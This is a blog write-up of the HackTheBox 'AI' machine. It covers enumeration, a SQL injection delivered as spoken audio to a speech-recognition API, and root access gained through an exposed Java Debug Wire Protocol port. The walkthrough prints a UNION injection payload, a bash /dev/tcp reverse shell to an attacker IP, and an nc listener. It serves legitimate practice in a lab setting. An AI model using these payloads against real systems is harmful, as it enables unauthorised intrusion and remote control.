No pAIn no gAIn!

HackTheBox AI Machine Info Card

AI is a medium difficulty machine running Linux. It tests your knowledge in OSINT, SQL Injection, privilege escalation and audio technics? :man_shrugging: :laughing: If you don’t have patience and maybe some experience with Audacity you may find this machine quite frustrating. Lucky for me I have used mentioned software from back in the day of garage band recordings… Yeah, don’t ask!

Be sure to checkout the Basic Setup section before you get started.


Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.


portscan ai.htb
Grabbing ports...
Ports grabbed!
Starting Nmap 7.80 ( ) at 2019-12-18 23:59 PST
Nmap scan report for ai.htb (
Host is up (0.22s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
|   256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_  256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 17.04 seconds

Directory Bruteforce

gobuster dir -u http://ai.htb -r -t 30 -w /usr/share/wordlists/dirb/big.txt -x .php,.txt,.html
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:            http://ai.htb
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt,html
[+] Follow Redir:   true
[+] Timeout:        10s
2019/12/19 03:14:53 Starting gobuster
/about.php (Status: 200)
/ai.php (Status: 200)
/contact.php (Status: 200)
/db.php (Status: 200)
/images (Status: 403)
/index.php (Status: 200)
/intelligence.php (Status: 200)
/server-status (Status: 403)
/uploads (Status: 403)
2019/12/19 03:25:37 Finished

We find some interesting stuff from our GoBuster scan. db.php gives us the indication that the site connects to a database and the uploads directory means that there is most likely a way to upload a file.


Navigating to the site at http://ai.htb we come across a website about Artificial Intelligence (surprise, surprise):

AI Main Screenshot

Taking a look at the left menu we see most of the pages we found with GoBuster.

Going to the AI link displays our ai.php page which contains an upload form and states “Drop your query using wav file” which would mean that the form accepts the .wav format:

AI Uploads Screenshot

A few quick tests doesn’t reveal any upload vulnerabilities and navigating to the uploads folder displays the Forbidden notice.

One thing that can be noticed in the menu is that the intelligence.php page is not shown.

That seems interesting so let’s go check it out:

AI Speech API Screenshot

We are presented with a table of commands for a Speech Recognition API the “Drop your query using wav file” is starting to make a lot more sense.

Considering we know the site is potentially using a database a couple of things stood out and that is the input of join that the AI outputs as UNION and the input Comment Database that outputs as -- -.

We potentially have SQL Injection here by building the SQL statement: 'union select username,password from users-- -

At the bottom of the page we notice something that seems like it might be a hint:

"We mostly use similar approach as Microsoft does.
Note: Currently our is API well familiar with Male-US model" 


With this information we will use Microsoft’s Text to Speech which can be found in Control Panel -> Ease of Access -> Speech Recognition on Windows 8 and up. Then select Text to Speech from the left menu:

AI Zira Text to Speech Screenshot

I personally found Zira to work best and recorded/edited the sounds with Audacity.

Changing the speed of the voice can completely change words so there was a bit of playing around.

With the table in intelligence.php there was no quote symbols. So a web search for Windows Speech Recognition Commands brings up this page that explains the voice command as open single quote. To get the speech recognition to work with that voice command Zira’s voice has to be slowed down significantly.

The SQL Statement I came up with using the voice commands was: open single quote join select usehername comma password from users comment database

As you can see I had issues with getting username to be recognized properly. It was a matter of changing letters to similar sounding ones until you got something that worked. So userhername did the trick for me.

The statement as is caused an error with there being a larger number of rows in the table so I opted to breaking it down in to two audio files. Maybe the asterisk command was recognised, I didn’t check. But at this point I had things working well so didn’t want to mess with it.

One for the username with the voice command open single quote join select usehername from users comment database:


The other for the password with the voice command open single quote join select password from users comment database:


The final result is the username alexa and the password H,Sq9....?q93_

Logging in via ssh we can take the flag:

ssh alexa@ai.htb                                                                                                                                                                      
alexa@ai.htb password:
alexa@AI:~$ cat user.txt

That was interesting to say the least. Let’s move on to root!


Doing some basic enumeration I find a service running that stands out:

ps -aux | grep tomcat
root       3236 10.0  4.7 3108796 96152 ?       Sl   11:46   0:03 /usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/ -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 org.apache.catalina.startup.Bootstrap start

Looks like we have tomcat running on the system which usually runs on port 8080 and can be confirmed with Netstat:

netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 *               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0          :::*                    LISTEN      -                   
tcp6       0      0          :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
udp        0      0 *                           -                   
udp        0      0 *                           -                   
udp        0      0  *                           -                   
udp6       0      0 :::42712                :::*                                -                   
udp6       0      0 :::5353                 :::*                                -  

We can also see that the install location seems to be in /opt/apache-tomcat-9.0.27 let’s check it’s permissions:

ls -l /opt
total 4
drwxr-xr-x 9 root root 4096 Oct 24 13:04 apache-tomcat-9.0.27

Owned by root. The name of the directory implies that this is version 9.0.27 of tomcat.

Referring to the netstat output and the command shown with ps we notice that port 8000 is set by an option -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n. Researching jdwp we see this is the Java Debug Wire Protocol.

A quick web search unveils an article on Hacking the Java Debug Wire Protocol. This article details how to exploit jdwp and refers to a Python script on github called

Taking a look at the script we see we can execute a custom command.

Let’s download the script and scp it to the victim machine:

scp alexa@ai.htb:/tmp
alexa@ai.htb password:                                       100%   22KB  48.7KB/s   00:00 

Because I am not sure how well this script will handle special characters I will create a shell script in /tmp on the victim machine that executes a reverse shell:

echo "nohup bash -i >& /dev/tcp/<attacker-ip>/1234 0>&1 &" > shell && chmod +x shell

We then setup our listener on the attacker machine:

nc -nlvp 1234

On the first couple attempts the script hung for a substantial amount of time. Taking a look again at the scripts help shows the option --break-on which allows us to specify another Java method. On research for other Java methods we find that java.lang.String.indexOf may work and that it is also used within the index page of tomcat on port 8080. Maybe we can use this to trigger the event sooner?

Using curl on the victim machine to try and trigger the event seemed to also hang.

Instead we will setup SSH tunneling on our attacker machine:

ssh -L 8888:localhost:8080 alexa@ai.htb

We can then simply point our browser at, run our command python -t --break-on 'java.lang.String.indexOf' and refresh the default page to execute.

Let’s give this a try:

AI Root Exploit GIF

root@AI:~# cat root.txt

And we have our root.txt flag! Now that was a bit of a wild ride…


Overall AI was a very interesting machine that had been well thought out. The intricacy of the speech recognition API idea was simply awesome! Even though it could be somewhat frustrating it really tested your patience and perseverance. In an era where speech recognition and Artificial Intelligence are found together in many technology platforms this was good insight in to issues that may be faced even if it doesn’t seem much like a “real life” situation that may occur. Root however, was very realistic as even a quick search today reveals projects and servers that has the jdwp option set and facing the public. Kudos to the machines maker for such an intriguing machine.

Hack The Box